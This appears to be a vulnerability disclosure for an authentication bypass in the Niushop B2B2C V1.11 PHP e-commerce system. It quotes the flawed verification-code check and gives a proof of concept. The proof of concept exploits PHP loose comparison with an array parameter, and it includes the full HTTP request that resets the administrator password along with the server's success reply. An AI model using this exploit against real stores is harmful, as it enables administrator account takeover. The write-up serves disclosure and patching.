Administrator password reset in Niushop B2B2C Multi-business basic version V1.11

Description: The NiuShop open source mall system is a set of PHP open source e-commerce system. In Niushop B2B2C Multi-Business Basic Edition V1.11, authentication can be bypassed, causing administrators to reset any passwords.

1. Technical description

Located at \application\shop\controller\Login.php Line: 757~!769

```
public function ckeck_find_password_code()
{
    $send_param = request()->post('send_param', '');
    $param = Session::get('forgotPasswordVerificationCode');
    if ($send_param == $param && $send_param != '') {
        $retval = [
            'code' => 0,
            'message' => "验证码一致"
        ];
    } else {
        $retval = [
```

Here the verification code is verified with php "==", which can be bypassed by weak php type

2.poc

Normal submission will show inconsistent verification code

Use the burstsuit to capture the package, add an array after the send_parem, you can bypass the weak type of php and not empty.

```
send_param[]=1234
```

Because the verification code is already recognized, you can reset the password by submitting the administrator's mobile number to null.

```
Host: [redacted]
Content-Length: 37
Accept: */*
Origin: http://[redacted]
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://[redacted]/index.php?s=/login/findpasswd
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=ahts3n613qhquiqbd831m34cs0
Connection: close

userInfo=&password=123456&type=mobile
```

```
Date: Thu, 27 Jun 2019 01:55:39 GMT
Server: Apache
X-Powered-By: PHP/5.6.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-
Pragma: no-cache
Content-Length: 35
Connection: close
Content-Type: application/json; charset=utf-8

{"code":1,"message":"操作成功"}
```

login successful!